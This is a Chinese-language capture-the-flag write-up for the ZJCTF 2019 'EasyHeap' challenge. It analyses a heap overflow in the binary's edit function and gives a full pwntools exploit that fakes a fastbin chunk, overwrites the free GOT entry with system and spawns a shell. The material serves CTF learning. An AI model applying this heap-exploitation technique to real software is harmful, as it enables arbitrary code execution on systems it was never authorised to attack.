[ZJCTF 2019]EasyHeap


逆向分析

--------------------------------
       Easy Heap Creator       
--------------------------------
 1. Create a Heap               
 2. Edit a Heap                 
 3. Delete a Heap               
 4. Exit                        
--------------------------------
Your choice :

create 函數

    heaparray[i] = malloc(size);
    read_input(heaparray[i], size);
  • heaparray[i]:存放 chunk 的地址。
  • read_input(heaparray[i], size):向 chunk 寫入 size 大小的內容。

edit 函數

    read_input(heaparray[v2], v0);
  • read_input(heaparray[v2], v0):向 chunk 中寫入 v0 大小的內容,也就是說如果 v0 比 create 時的 size 大的話就會造成堆溢出。

delete 函數

    free(heaparray[v1]);
    heaparray[v1] = 0LL;
  • free 掉對應 chunk 且指針置 0 了。

利用思路

  • 創建3個 chunk ,chunk 0 1 2 ,chunk 1 的內容為 /bin/sh 。
  • 我們可以用 house of spirit 技術,偽造 chunk 至 heaparray 附近,這樣操作在 malloc fastbin 時需要繞過大小判斷,我們可以巧妙地利用地址開頭 7f 來偽造大小為 0x70 的 fastbin 。
gdb-peda$ x /20xw 0x6020a0 - 3
0x60209d:	0x20000000	0x242d0af6	0x0000007f	0x00000000
0x6020ad:	0xe0000000	0x242d0ae8	0x0000007f	0x00000000
0x6020bd:	0x00000000	0x00000000	0x00000000	0x00000000
0x6020cd:	0x00000000	0x00000000	0x00000000	0x00000000
0x6020dd:	0x10000000	0x0000d7b0	0x80000000	0x0000d7b0

  • 然后通過偽造的 fastbin 輸入內容覆蓋 chunk 0 的地址為 free_got 的地址。
  • 通過編輯 chunk 0 將 free_got 地址改為 system 的地址。
  • 這樣 free chunk 1 就會執行 system('/bin/sh') 拿 shell。

exp 腳本

from pwn import *

#p = process('./easyheap')
p = remote('node3.buuoj.cn',26672)
elf =ELF('./easyheap')

context.log_level = 'debug'

def create(size,content):
	p.recvuntil('Your choice :')
	p.sendline('1')
	p.recvuntil('Size of Heap : ')
	p.send(str(size))
	p.recvuntil('Content of heap:')
	p.send(str(content))	

def edit(index,size,content):
	p.recvuntil('Your choice :')
	p.sendline('2')
	p.recvuntil('Index :')
	p.sendline(str(index))
	p.recvuntil('Size of Heap : ')
	p.send(str(size))
	p.recvuntil('Content of heap : ')
	p.send(str(content))

def free(index):
	p.recvuntil('Your choice :')
	p.sendline('3')
	p.recvuntil('Index :')
	p.sendline(str(index))

free_got = elf.got['free']

create(0x68,'aaaa')
create(0x68,'bbbb')
create(0x68,'cccc')
free(2)

#gdb.attach(p)

payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020b0-3)
edit(1,len(payload),payload)

create(0x68,'aaaa')
create(0x68,'c')

payload = '\xaa' * 3 + p64(0) * 4 + p64(free_got)
edit(3,len(payload),payload)
payload = p64(elf.plt['system'])

#gdb.attach(p)

edit(0,len(payload),payload)
free(1)

#gdb.attach(p)

p.interactive()

get flag

內容來源

buuctf pwn | summerN's blog


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM